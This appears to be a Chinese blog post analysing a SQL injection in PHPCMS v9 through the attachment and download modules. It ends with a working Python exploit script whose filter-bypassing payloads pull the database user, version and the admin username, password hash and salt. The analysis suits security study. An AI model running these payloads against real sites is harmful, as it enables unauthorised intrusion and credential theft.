PHPCMSv9 SQL 注入漏洞分析

Posted by JenI on 2017-04-10 00:00:00+08:00

前言

PHPCMS V9(后面简称V9)采用 PHP5+MYSQL 做为技术基础进行开发。V9 采用 OOP(面向对象编程)+ MVC 设计模式,进行基础运行框架搭建。近两天,V9 被爆出存在 SQL 注入,据说这个漏洞从去年年底开始就被黑产界利用,直到最近才公布出来,网上给出了 POC ,直接看脚本也看不出什么,于是下了套源码结合着 POC 做了个简单的分析。

漏洞复现

根据网上给出的poc,验证结果如下:

phpcms-1

可以看到通过注入成功获得了数据库的相关信息和数据库内数据。

漏洞分析

通过查看 poc 源码可以发现,注入点出现在 /index.php?m=content&c=down&a_k= 页面,但是在此之前,脚本曾多次请求 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id= 页面,所以初步推断问题应该与 /phpcms/modules/attachment 目录下的 attachments.php 文件内的 swfupload_json 函数有关。

phpcms-2

通过源码可知,swfupload_json() 函数首先以 get 方式接收传入的参数,将 aid、src、filename 等参数经 json 编码后设置为 cookie 的值,而 cookie 的键则为 system.php 文件中 cookie_pre 与 json_str 拼接后的内容。键值对经 set_cookie() 函数编码后作为 cookie 的值。其中关键的地点在 $arr['src'] = safe_replace(trim($_GET['src'])); 一句,这里使用 safe_replace 函数对 src 参数传入内容进行处理,我们看下 safe_replace 函数的定义。

phpcms-3

可以看到 safe_replace 函数对字符串中的特殊字符进行了替换删除操作,但是由于该函数只执行了一次,所以只需对 payload 进行适当的改变就可以绕过过滤,举例来说,假设,我们传入的 payload 为 %27and%20,经过 safe_replace 函数处理后,传入数据库的内容为 and%20,%27 被删除了,但假如我们将 payload 改写为% *27an*d%20,经 safe_replace 函数处理一次后,删除了其中的*,传入数据库的内容就变为了 %27and%20,这样就绕过了安全函数的过滤。 到这里我们成功让 payload 绕过过滤,cookie 值成功传入到 set_cookie 函数中,下面为 set_cookie 函数定义:

phpcms-4

可以看到函数内部对传入数组的操作,其中调用了 sys_auth 函数,并且传入 ENCODE 加密参数,实现了对 cookie 的加密,这里之所以要进行加密,是因为之后访问的 /index.php?m=content&c=down&a_k= 页面中 a_k 参数内容会通过 sys_auth 函数解密一次,但由于 system.php 中 auth_key 的值是未知的,所以我们无法直接本地对 cookie 加密,只能通过 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id= 页面将我们的 payload 传入服务器,再将返回的 cookie 作为加密后的 payload 传入 /index.php?m=content&c=down&a_k= 页面,交由 down.php 页面进行解密,解密后的参数未经校验便传入数据库,因此造成注入,这也是 poc 中每次执行 sql 语句时,都需要先 将 payload 传入服务器加密的原因。下面是 down.php 中 init 函数的定义:

phpcms-5

down.php 页面通过 get 方式获取 ’a_k’ 的值,也就是我们传入的经 auth_key 加密后的 payload,然后调用 auth_key 进行解密操作,解密后使用 parse_str 函数将解密后的字符串解析为变量并解码。最后在 $rs = $this->db->get_one(array('id'=>$id));一句作为 $id 被传入数据库,从而导致 sql 语句执行。

漏洞POC

# -*- coding:utf-8 -*-

import requests
import sys
import urllib

def check(url):
    sqli_prefix = '%*27an*d%20'
    sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'
    sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '
    sqli_password2 = '_admin li*mit 0,1)x))'
    sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'
    setp1 = url + '/index.php?m=wap&a=index&siteid=1'
    cookies = {}
    sqli_payload = ''
    try:
        for c in requests.get(setp1).cookies:
            if c.name[-7:] == '_siteid':
                cookie_head = c.name[:6]
                cookies[cookie_head+'_userid'] = c.value
            cookies[c.name] = c.value
        setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding
        for c in requests.get(setp2,cookies=cookies,timeout=30,verify=False).cookies:
            if c.name[-9:] == '_att_json':
                sqli_payload = c.value
        setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
        html = requests.get(setp3,cookies=cookies,timeout=30,verify=False).content
        user = html.split('luan$')[1]
        if user:
            try:
                table_prefix = html[html.find('_download_data')-2:html.find('_download_data')]
                setp22 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding
                for c in requests.get(setp22,cookies=cookies,timeout=30,verify=False).cookies:
                    if c.name[-9:] == '_att_json':
                        sqli_payload = c.value
                setp33 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
                html2 = requests.get(setp33,cookies=cookies,timeout=30,verify=False).content
                print '[+]admin:password:salt ==> ' + html2.split('luan$')[1]
            except IndexError,e:
                print '[+]webuser ==> ' + html.split('luan$')[1]
    except Exception,e:
        if 'list index out of range' in str(e):
            print '[-]It looks not vulnerable'
        else:
            print "[-]Error:  " + str(e)
            exit()

def main():
    if len(sys.argv) == 2:
        if ':443' in sys.argv[1] or '8443' in sys.argv[1]:
            check('https://'+sys.argv[1])
        else:
            check('http://'+sys.argv[1])
    else:
        print 'Usage : phpcmsv9.py ip:port(default 80)'

if __name__ == '__main__':
    main()

作者:   JenI   转载请注明出处,谢谢


Comments !